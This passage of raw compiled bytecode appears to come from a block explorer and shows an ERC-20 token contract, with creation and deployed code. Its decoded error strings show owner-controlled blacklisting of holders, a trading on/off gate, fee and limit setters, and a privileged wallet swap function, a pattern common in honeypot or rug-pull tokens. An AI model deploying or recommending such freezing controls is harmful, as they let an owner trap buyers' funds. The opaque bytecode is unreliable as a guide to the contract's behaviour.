00073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111e7929190613161565b6020604051808303815f875af1158015611203573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611227919061319c565b506001600f60016101000a81548160ff0219169083151502179055506001600f5f6101000a81548160ff021916908315150217905550565b600d5481565b60115481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60105481565b600c5481565b611301611ffd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690613237565b60405180910390fd5b611378816120ac565b50565b600b5481565b600f5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff906132c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90613353565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161155091906129bb565b60405180910390a3505050565b5f611568848461126b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115e257818110156115d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cb906133bb565b60405180910390fd5b6115e1848484840361139a565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90613449565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906134d7565b60405180910390fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611762575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6117a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179890613565565b60405180910390fd5b601254600d54106117b55760016010819055505b601354600e54106117c95760016011819055505b5f81036117e0576117db83835f6124c6565b611ff8565b6117e8610d15565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118565750611826610d15565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561188e57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118c8575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e15750600860149054906101000a900460ff16155b15611cdc57600f5f9054906101000a900460ff166119d45760145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611994575060145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca906135cd565b60405180910390fd5b5b60165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611a71575060155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b2f57600a54811115611abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab29061365b565b60405180910390fd5b600b54611ac783610aea565b82611ad29190612d40565b1115611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a906136c3565b60405180910390fd5b600d5f815480929190611b25906136e1565b9190505550611cdb565b60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611bcc575060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c3257600a54811115611c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0d90613798565b60405180910390fd5b600e5f815480929190611c28906136e1565b9190505550611cda565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611cd957600b54611c8c83610aea565b82611c979190612d40565b1115611cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccf906136c3565b60405180910390fd5b5b5b5b5b5f611ce630610aea565b90505f8082119050808015611d075750600f60019054906101000a900460ff165b8015611d205750600860149054906101000a900460ff16155b8015611d73575060165f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611dc6575060145f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e19575060145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e5d576001600860146101000a81548160ff021916908315150217905550611e4283612732565b5f600860146101000a81548160ff0219169083151502179055505b5f600860149054906101000a900460ff1615905060145f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f0c575060145f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f15575f90505b5f8115611fe85760165f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f9a57611f936064611f85601154886127cc90919063ffffffff16565b6127e190919063ffffffff16565b9050611fc5565b611fc26064611fb4601054886127cc90919063ffffffff16565b6127e190919063ffffffff16565b90505b5f811115611fd957611fd88730836124c6565b5b8085611fe591906137b6565b94505b611ff38787876124c6565b505050505b505050565b612005611393565b73ffffffffffffffffffffffffffffffffffffffff16612023610d15565b73ffffffffffffffffffffffffffffffffffffffff1614612079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207090613833565b60405180910390fd5b565b5f813360405160200161208e9190613896565b60405160208183030381529060405280519060200120149050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff81111561218b5761218a6138b0565b5b6040519080825280602002602001820160405280156121b95781602001602082028036833780820191505090505b50905030815f815181106121d0576121cf6138dd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612273573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612297919061391e565b816001815181106122ab576122aa6138dd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612310307f00000000000000000000000000000000000000000000000000000000000000008461139a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612392959493929190613a00565b5f604051808303815f87803b1580156123a9575f80fd5b505af11580156123bb573d5f803e3d5ffd5b505050505050565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f60648211156124a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249d90613ac8565b60405180910390fd5b606482846124b49190612d73565b6124be9190612de1565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b90613449565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612599906134d7565b60405180910390fd5b6125ad8383836127f6565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262790613b56565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161271991906129bb565b60405180910390a361272c8484846127fb565b50505050565b5f61273c30610aea565b90505f80820361274d5750506127c9565b5f8211801561275d5750600c5482105b1561276a578190506127bd565b5f6127936064612785601154876127cc90919063ffffffff16565b6127e190919063ffffffff16565b905080846127a191906137b6565b9350600c548411156127b757600c5491506127bb565b8391505b505b6127c68161216f565b50505b50565b5f81836127d99190612d73565b905092915050565b5f81836127ee9190612de1565b905092915050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561283757808201518184015260208101905061281c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61285c82612800565b612866818561280a565b935061287681856020860161281a565b61287f81612842565b840191505092915050565b5f6020820190508181035f8301526128a28184612852565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128d7826128ae565b9050919050565b6128e7816128cd565b81146128f1575f80fd5b50565b5f81359050612902816128de565b92915050565b5f819050919050565b61291a81612908565b8114612924575f80fd5b50565b5f8135905061293581612911565b92915050565b5f8060408385031215612951576129506128aa565b5b5f61295e858286016128f4565b925050602061296f85828601612927565b9150509250929050565b5f8115159050919050565b61298d81612979565b82525050565b5f6020820190506129a65f830184612984565b92915050565b6129b581612908565b82525050565b5f6020820190506129ce5f8301846129ac565b92915050565b5f602082840312156129e9576129e86128aa565b5b5f6129f6848285016128f4565b91505092915050565b5f805f60608486031215612a1657612a156128aa565b5b5f612a23868287016128f4565b9350506020612a34868287016128f4565b9250506040612a4586828701612927565b9150509250925092565b5f60ff82169050919050565b612a6481612a4f565b82525050565b5f602082019050612a7d5f830184612a5b565b92915050565b5f819050919050565b612a9581612a83565b8114612a9f575f80fd5b50565b5f81359050612ab081612a8c565b92915050565b5f60208284031215612acb57612aca6128aa565b5b5f612ad884828501612aa2565b91505092915050565b5f819050919050565b5f612b04612aff612afa846128ae565b612ae1565b6128ae565b9050919050565b5f612b1582612aea565b9050919050565b5f612b2682612b0b565b9050919050565b612b3681612b1c565b82525050565b5f602082019050612b4f5f830184612b2d565b92915050565b612b5e81612979565b8114612b68575f80fd5b50565b5f81359050612b7981612b55565b92915050565b5f8060408385031215612b9557612b946128aa565b5b5f612ba2858286016128f4565b9250506020612bb385828601612b6b565b9150509250929050565b5f60208284031215612bd257612bd16128aa565b5b5f612bdf84828501612927565b91505092915050565b612bf1816128cd565b82525050565b5f602082019050612c0a5f830184612be8565b92915050565b5f8060408385031215612c2657612c256128aa565b5b5f612c33858286016128f4565b9250506020612c44858286016128f4565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612c9257607f821691505b602082108103612ca557612ca4612c4e565b5b50919050565b7f546f6b656e20697320747261646561626c6500000000000000000000000000005f82015250565b5f612cdf60128361280a565b9150612cea82612cab565b602082019050919050565b5f6020820190508181035f830152612d0c81612cd3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d4a82612908565b9150612d5583612908565b9250828201905080821115612d6d57612d6c612d13565b5b92915050565b5f612d7d82612908565b9150612d8883612908565b9250828202612d9681612908565b91508282048414831517612dad57612dac612d13565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612deb82612908565b9150612df683612908565b925082612e0657612e05612db4565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e730000000000000000000000000000005f82015250565b5f612e4560118361280a565b9150612e5082612e11565b602082019050919050565b5f6020820190508181035f830152612e7281612e39565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c656172000000000000000000005f82015250565b5f612ead60168361280a565b9150612eb882612e79565b602082019050919050565b5f6020820190508181035f830152612eda81612ea1565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612f3b60398361280a565b9150612f4682612ee1565b604082019050919050565b5f6020820190508181035f830152612f6881612f2f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612fc960258361280a565b9150612fd482612f6f565b604082019050919050565b5f6020820190508181035f830152612ff681612fbd565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61303160178361280a565b915061303c82612ffd565b602082019050919050565b5f6020820190508181035f83015261305e81613025565b9050919050565b5f819050919050565b5f61308861308361307e84613065565b612ae1565b612908565b9050919050565b6130988161306e565b82525050565b5f60c0820190506130b15f830189612be8565b6130be60208301886129ac565b6130cb604083018761308f565b6130d8606083018661308f565b6130e56080830185612be8565b6130f260a08301846129ac565b979650505050505050565b5f8151905061310b81612911565b92915050565b5f805f60608486031215613128576131276128aa565b5b5f613135868287016130fd565b9350506020613146868287016130fd565b9250506040613157868287016130fd565b9150509250925092565b5f6040820190506131745f830185612be8565b61318160208301846129ac565b9392505050565b5f8151905061319681612b55565b92915050565b5f602082840312156131b1576131b06128aa565b5b5f6131be84828501613188565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61322160268361280a565b915061322c826131c7565b604082019050919050565b5f6020820190508181035f83015261324e81613215565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6132af60248361280a565b91506132ba82613255565b604082019050919050565b5f6020820190508181035f8301526132dc816132a3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61333d60228361280a565b9150613348826132e3565b604082019050919050565b5f6020820190508181035f83015261336a81613331565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6133a5601d8361280a565b91506133b082613371565b602082019050919050565b5f6020820190508181035f8301526133d281613399565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61343360258361280a565b915061343e826133d9565b604082019050919050565b5f6020820190508181035f83015261346081613427565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6134c160238361280a565b91506134cc82613467565b604082019050919050565b5f6020820190508181035f8301526134ee816134b5565b9050919050565b7f45524332303a207472616e736665722066726f6d2f746f2074686520626c61635f8201527f6b6c697374656420616464726573730000000000000000000000000000000000602082015250565b5f61354f602f8361280a565b915061355a826134f5565b604082019050919050565b5f6020820190508181035f83015261357c81613543565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f6135b760168361280a565b91506135c282613583565b602082019050919050565b5f6020820190508181035f8301526135e4816135ab565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f61364560358361280a565b9150613650826135eb565b604082019050919050565b5f6020820190508181035f83015261367281613639565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f6136ad60138361280a565b91506136b882613679565b602082019050919050565b5f6020820190508181035f8301526136da816136a1565b9050919050565b5f6136eb82612908565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361371d5761371c612d13565b5b600182019050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f61378260368361280a565b915061378d82613728565b604082019050919050565b5f6020820190508181035f8301526137af81613776565b9050919050565b5f6137c082612908565b91506137cb83612908565b92508282039050818111156137e3576137e2612d13565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61381d60208361280a565b9150613828826137e9565b602082019050919050565b5f6020820190508181035f83015261384a81613811565b9050919050565b5f8160601b9050919050565b5f61386782613851565b9050919050565b5f6138788261385d565b9050919050565b61389061388b826128cd565b61386e565b82525050565b5f6138a1828461387f565b60148201915081905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050613918816128de565b92915050565b5f60208284031215613933576139326128aa565b5b5f6139408482850161390a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61397b816128cd565b82525050565b5f61398c8383613972565b60208301905092915050565b5f602082019050919050565b5f6139ae82613949565b6139b88185613953565b93506139c383613963565b805f5b838110156139f35781516139da8882613981565b97506139e583613998565b9250506001810190506139c6565b5085935050505092915050565b5f60a082019050613a135f8301886129ac565b613a20602083018761308f565b8181036040830152613a3281866139a4565b9050613a416060830185612be8565b613a4e60808301846129ac565b9695505050505050565b7f50657263656e74616765206d757374206265206265747765656e203020616e645f8201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b5f613ab260248361280a565b9150613abd82613a58565b604082019050919050565b5f6020820190508181035f830152613adf81613aa6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613b4060268361280a565b9150613b4b82613ae6565b604082019050919050565b5f6020820190508181035f830152613b6d81613b34565b905091905056fea264697066735822122026e07a7b6af9b44561736d7517d5184aeab07f5c79ba11683a072132020fc98964736f6c6343000814003353757065726d616e5370696465724d616e4261746d616e576f6e646572576f6d616e49726f6e4d616e4361707461696e416d6572696361546865466c61736848756c6b54686f72426c61636b5769646f77576f6c766572696e65477265656e4c616e7465726e417175616d616e426c61636b50616e74686572446f63746f72537472616e676553757065726769726c44656164706f6f6c53746f726d546865496e6372656469626c6548756c6b4a65616e477265790000000000000000000000002cc00d02095cb8c7044216fab99bd3e492593a9a
Deployed Bytecode
0x608060405260043610610212575f3560e01c80638da5cb5b11610117578063c9567bf91161009f578063dd8546521161006e578063dd8546521461079f578063e2f45605146107c9578063f2fde38b146107f3578063f8b45b051461081b578063ffb54a991461084557610219565b8063c9567bf9146106f9578063ca7030751461070f578063cf9522fd14610739578063dd62ed3e1461076357610219565b8063a457c2d7116100e6578063a457c2d714610607578063a9059cbb14610643578063afa4f3b21461067f578063c0246668146106a7578063c8c8ebe4146106cf57610219565b80638da5cb5b1461054f57806395d89b411461057957806397682884146105a35780639a7a23d6146105df57610219565b8063395093511161019a57806370a082311161016957806370a0823114610497578063715018a6146104d35780637571336a146104e9578063881dce601461051157806389291a8f1461053957610219565b806339509351146103cb5780634fbee19314610407578063583e0568146104435780636ddd17131461046d57610219565b80632315bf14116101e15780632315bf14146102d757806323b872dd14610313578063311028af1461034f578063313ce567146103795780633295bc6d146103a357610219565b806306fdde031461021d578063095ea7b3146102475780630c6b67371461028357806318160ddd146102ad57610219565b3661021957005b5f80fd5b348015610228575f80fd5b5061023161086f565b60405161023e919061288a565b60405180910390f35b348015610252575f80fd5b5061026d6004803603810190610268919061293b565b6108ff565b60405161027a9190612993565b60405180910390f35b34801561028e575f80fd5b50610297610921565b6040516102a491906129bb565b60405180910390f35b3480156102b8575f80fd5b506102c1610927565b6040516102ce91906129bb565b60405180910390f35b3480156102e2575f80fd5b506102fd60048036038101906102f891906129d4565b610930565b60405161030a9190612993565b60405180910390f35b34801561031e575f80fd5b50610339600480360381019061033491906129ff565b610982565b6040516103469190612993565b60405180910390f35b34801561035a575f80fd5b506103636109b0565b60405161037091906129bb565b60405180910390f35b348015610384575f80fd5b5061038d6109b6565b60405161039a9190612a6a565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612ab6565b6109be565b005b3480156103d6575f80fd5b506103f160048036038101906103ec919061293b565b610a2b565b6040516103fe9190612993565b60405180910390f35b348015610412575f80fd5b5061042d600480360381019061042891906129d4565b610a61565b60405161043a9190612993565b60405180910390f35b34801561044e575f80fd5b50610457610ab3565b6040516104649190612b3c565b60405180910390f35b348015610478575f80fd5b50610481610ad7565b60405161048e9190612993565b60405180910390f35b3480156104a2575f80fd5b506104bd60048036038101906104b891906129d4565b610aea565b6040516104ca91906129bb565b60405180910390f35b3480156104de575f80fd5b506104e7610b2f565b005b3480156104f4575f80fd5b5061050f600480360381019061050a9190612b7f565b610b42565b005b34801561051c575f80fd5b5061053760048036038101906105329190612bbd565b610ba2565b005b348015610544575f80fd5b5061054d610c85565b005b34801561055a575f80fd5b50610563610d15565b6040516105709190612bf7565b60405180910390f35b348015610584575f80fd5b5061058d610d3d565b60405161059a919061288a565b60405180910390f35b3480156105ae575f80fd5b506105c960048036038101906105c491906129d4565b610dcd565b6040516105d69190612993565b60405180910390f35b3480156105ea575f80fd5b5061060560048036038101906106009190612b7f565b610dea565b005b348015610612575f80fd5b5061062d6004803603810190610628919061293b565b610e8e565b60405161063a9190612993565b60405180910390f35b34801561064e575f80fd5b506106696004803603810190610664919061293b565b610f03565b6040516106769190612993565b60405180910390f35b34801561068a575f80fd5b506106a560048036038101906106a09190612bbd565b610f25565b005b3480156106b2575f80fd5b506106cd60048036038101906106c89190612b7f565b610f4a565b005b3480156106da575f80fd5b506106e3610ff8565b6040516106f091906129bb565b60405180910390f35b348015610704575f80fd5b5061070d610ffe565b005b34801561071a575f80fd5b5061072361125f565b60405161073091906129bb565b60405180910390f35b348015610744575f80fd5b5061074d611265565b60405161075a91906129bb565b60405180910390f35b34801561076e575f80fd5b5061078960048036038101906107849190612c10565b61126b565b60405161079691906129bb565b60405180910390f35b3480156107aa575f80fd5b506107b36112ed565b6040516107c091906129bb565b60405180910390f35b3480156107d4575f80fd5b506107dd6112f3565b6040516107ea91906129bb565b60405180910390f35b3480156107fe575f80fd5b50610819600480360381019061081491906129d4565b6112f9565b005b348015610826575f80fd5b5061082f61137b565b60405161083c91906129bb565b60405180910390f35b348015610850575f80fd5b50610859611381565b6040516108669190612993565b60405180910390f35b60606003805461087e90612c7b565b80601f01602080910402602001604051908101604052809291908181526020018280546108aa90612c7b565b80156108f55780601f106108cc576101008083540402835291602001916108f5565b820191905f5260205f20905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b5f80610909611393565b905061091681858561139a565b600191505092915050565b600e5481565b5f600254905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8061098c611393565b905061099985828561155d565b6109a48585856115e8565b60019150509392505050565b60095481565b5f6012905090565b6109c6611ffd565b6109cf8161207b565b610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590612cf5565b60405180910390fd5b5f610a17610927565b905080600a8190555080600b819055505050565b5f80610a35611393565b9050610a56818585610a47858961126b565b610a519190612d40565b61139a565b600191505092915050565b5f60145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600f60019054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b37611ffd565b610b405f6120ac565b565b610b4a611ffd565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be2611393565b73ffffffffffffffffffffffffffffffffffffffff1614610c01575f80fd5b5f610c0a610927565b90505f610c1630610aea565b90505f60648484610c279190612d73565b610c319190612de1565b905080821015610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90612e5b565b60405180910390fd5b610c7f8161216f565b50505050565b610c8d611ffd565b5f4711610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690612ec3565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d12573d5f803e3d5ffd5b50565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610d4c90612c7b565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7890612c7b565b8015610dc35780601f10610d9a57610100808354040283529160200191610dc3565b820191905f5260205f20905b815481529060010190602001808311610da657829003601f168201915b5050505050905090565b6006602052805f5260405f205f915054906101000a900460ff1681565b610df2611ffd565b7f00000000000000000000000040d80734bb7bf0cce26729ae1cc99a8fc521d55a73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790612f51565b60405180910390fd5b610e8a82826123c3565b5050565b5f80610e98611393565b90505f610ea5828661126b565b905083811015610eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee190612fdf565b60405180910390fd5b610ef7828686840361139a565b60019250505092915050565b5f80610f0d611393565b9050610f1a8185856115e8565b600191505092915050565b610f2d611ffd565b670de0b6b3a764000081610f419190612d73565b600c8190555050565b610f52611ffd565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051610fec9190612993565b60405180910390a25050565b600a5481565b611006611ffd565b600f5f9054906101000a900460ff1615611055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104c90613047565b60405180910390fd5b611082307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d60095461139a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110dc60506110ce30610aea565b61246190919063ffffffff16565b5f806110e6610d15565b426040518863ffffffff1660e01b81526004016111089695949392919061309e565b60606040518083038185885af1158015611124573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111499190613111565b5050507f00000000000000000000000040d80734bb7bf0cce26729ae1cc99a8fc521d55a73ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111e7929190613161565b6020604051808303815f875af1158015611203573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611227919061319c565b506001600f60016101000a81548160ff0219169083151502179055506001600f5f6101000a81548160ff021916908315150217905550565b600d5481565b60115481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60105481565b600c5481565b611301611ffd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690613237565b60405180910390fd5b611378816120ac565b50565b600b5481565b600f5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff906132c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffff